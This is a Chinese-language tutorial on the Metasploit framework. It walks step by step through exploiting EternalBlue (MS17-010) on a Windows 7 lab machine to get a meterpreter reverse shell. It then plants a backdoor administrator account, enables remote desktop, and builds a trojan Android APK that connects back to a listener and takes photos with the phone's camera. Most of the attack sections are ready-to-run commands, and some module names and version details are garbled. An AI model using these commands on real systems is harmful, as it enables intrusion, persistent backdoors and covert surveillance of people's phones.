MSF和永恒之蓝&渗透安卓手机
Metasploit简介
MSF框架是由多个模块组成的,具体的模块及功能如下:
- Auxilitaries(辅助模块): 负责执行扫描、嗅探、指纹识别等功能,用来以辅助渗透测试。
- Exploit(漏洞利用模块): 能利用系统、应用或服务的漏洞进行攻击行为,包括缓冲区溢出、web程序攻击以及配置错误等,该模块包含各种POC验证,用于破坏系统安全的攻击代码。
- Payload(攻击载荷模块): 攻击载荷是我们期望目标被渗透之后完成实际功能的攻击代码,用于执行任意命令或特定代码,在MSF中可以自由的选择、传送或者植入。
- Post(后渗透模块): 该模块用于在获取到目标系统的控制权限后,进行一系列的后渗透攻击动作,如获取敏感信息,实施跳板等攻击等。
- Encoders(编码工具模块): 该模块在渗透中负责编码、免杀、防止被杀软、防火墙、IDS等安全软件检测出来。
大致的攻击步骤:
- 扫描目标系统、寻找漏洞
- 选择并配置一个漏洞利用模块
- 选择并配置一个攻击载荷模块
- 选择一个编码模块,用来绕过杀软查杀
- 渗透攻击
Metasploit基本使用
情报收集相关模块:
敏感目录扫描
auxiliary/scanner/http/brute_dirs
auxiliary/scanner/http/dir_listing
auxilisry/scanner/http://dir_scanner 注意:它们使用暴力枚举的方式进行猜解,因此需要一个字典文件
主机发现
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/udp_probe 用来探测主机存活,在设置rhost的时候可以使用192.168.1.1/24的方式探测网段主机。
服务探测
直接调用Nmap去进行扫描
Nmap -sS -Pn 192.168.1.1 -sV
- -sS SYN半连接扫描
- -Pn 扫描前不探测
- -sV 服务详细版本
单个服务批量探测
端口扫描
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
auxiliary/scannerportscan/xmas 用来扫描端口
常见模块:
- 漏洞利用:
- exploit/windows/smb/ms17010eternalblue
- auxiliary/scanner/smb/smb/smbms17010
Metasploit相关术语:
- 渗透攻击(Exploit): 渗透攻击是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。攻击者使用渗透攻击去入侵系统时,往往会造成开发者所没有预期的一种特殊结果。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(比如SQL注入),以及利用配置错误等。
- 攻击载荷(Payload): 攻击载荷是我们期望目标系统在被渗透攻击之后去执行的代码,在Metasploit框架中可以自由的选择、传送和植入。例如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令shell的攻击载荷,而bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互,攻击载荷也可能是简单的在目标操作系统上执行一些命令,如添加用户账号等。
- 监听器(Listener): 监听器是Metasploit中用来等待连入网络连接的组件,举例来说,在目标主机被渗透攻击后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
- Shellcode: Shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写,在大多数情况下,目标系统执行了Shellcode这一组指令之后,才会提供一个命令行shell或者Meterpreter shell,这也是Shellcode名称的由来。
- 模块(Module): 模块是指Metasploit框架中所使用的一段软件代码组件,在某些时候,你可能会使用一个渗透攻击模块(exploit module),也就是用于实际发起渗透攻击的软件组件,而在其他时候,则可能使用一个辅助模块(auxiliary module),用来执行一些诸如扫描或系统查点的攻击动作。这些在不断变化和发展中的模块才是使Metasploit框架如此强大的核心所在。
常用命令:
- search: 查找关键字
- use: 模块名 使用模块
- show options: 查看参数选项
- set 选项 参数: 设置参数
- show payloads: 显示所有payload
- session -i: 列出会话列表
- back: 返回上一层
- session -i 会话id: 选择会话
- session -k 会话id: 杀掉会话
- show targets: 显示目标os版本
- set target 目标序号: 选择目标系统
- show auxiliary: 显示辅助模块
- ctrl+z: 把会话放在后台
- ctrl+c: 终止会话
永恒之蓝漏洞简介
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任意操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖掘机等恶意程序。
漏洞编号:ms17-010 影响范围:目前已经受影响的Windows版本包括但不限于:Windows NT,Windows2000、Windows XP、Windows2001、WindowsVista、Windows 7、Windows 8、Windows 2008、WidowsR2、Windows Server 2012 SPO
虚拟机需要安装一个Windows 7 x64 的克隆的虚拟机 注意:如果虚拟机不能使用,修改里面后缀为vmx的文件,将virtualHW.version="18"改为virtualHW.version=“15”
永恒之蓝漏洞复现
漏洞描述: Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
影响版本: 目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
复现环境: 攻击机:kali 64位 (IP:192.168.149.130) 靶机:Windows 7 x64 的克隆(IP:192.168.149.140)
复现过程:
- 测试两台主机的连通性:用kali 去Ping windows 7的主机,来测试连通性:ping 192.168.149.140
- 登录kali linux,用nmap探测靶机:nmap -r 192.168.149.140
- 探测到靶机,并探测到开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。
- 查看kali 主机数据库是否开启:service postgresql status
- 如果关闭则打开kali 主机的数据库:service postgresql start
- 进行msfdb 数据库初始化,配置数据库相关信息:msfdb init
- 执行命令:msfconsole
- 搜索ms17-010代码:search ms17_010
- 使用ms17-010扫描模块,对靶机进行扫描
- 使用模块
- 扫描命令:use auxiliary/scanner/smb/smbms17010
- 攻击命令:use exploit/windows/smb/ms17010eternalblue
- 然后显示所需要的参数:show options
- 会发现RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描
- 设置靶机ip地址:set rhost 192.168.149.140
- 设置攻击载体:set payload windows/x64/meterpreter/reverse_tcp
- 设置监听ip地址:set lhost 192.168.149.130
- 执行扫描:run
- 执行攻击:exploit
- 可以看到监听IP及端口(WIN)持续攻击(种植后门)
- 显示远程主机系统信息:sysinfo
- 查看用户身份:getuid
- 对远程主机当前屏幕进行截图:screenshot
- 打开截图所在位置
- 获得shell控制台:shell
- 上面显示转到C:\Windows\system32目录下,说明已经获得了shell的控制权
- 进行后门植入(创建新的管理员账户)
- net user hack 123456 /add
- net localgroup administrators hack /add
- net user //查看windows 7本地用户
- net localgroup administrators //查看windows 7本地管理员
- 开启远程桌面功能
- REGADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 0 /f
- kali 远程桌面连接Win7
- root下:rdesktop 192.168.149.140:3389
渗透安卓手机:
- 生成apk程序:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5555 R > apk.apk
- 启动msfconsole
- 启动use exploit/multi/handler模块
- set payload android/meterpreter/reverse_tcp
- show options
- set lhost 本机IP set LPORT 5555 exploit(运行apk程序)
- 查看手机信息:sysinfo
- 查看摄像头:meterpreter > webcam_list
- 启动摄像头拍照:webcamsnap -i 1 webcamsnap -i 2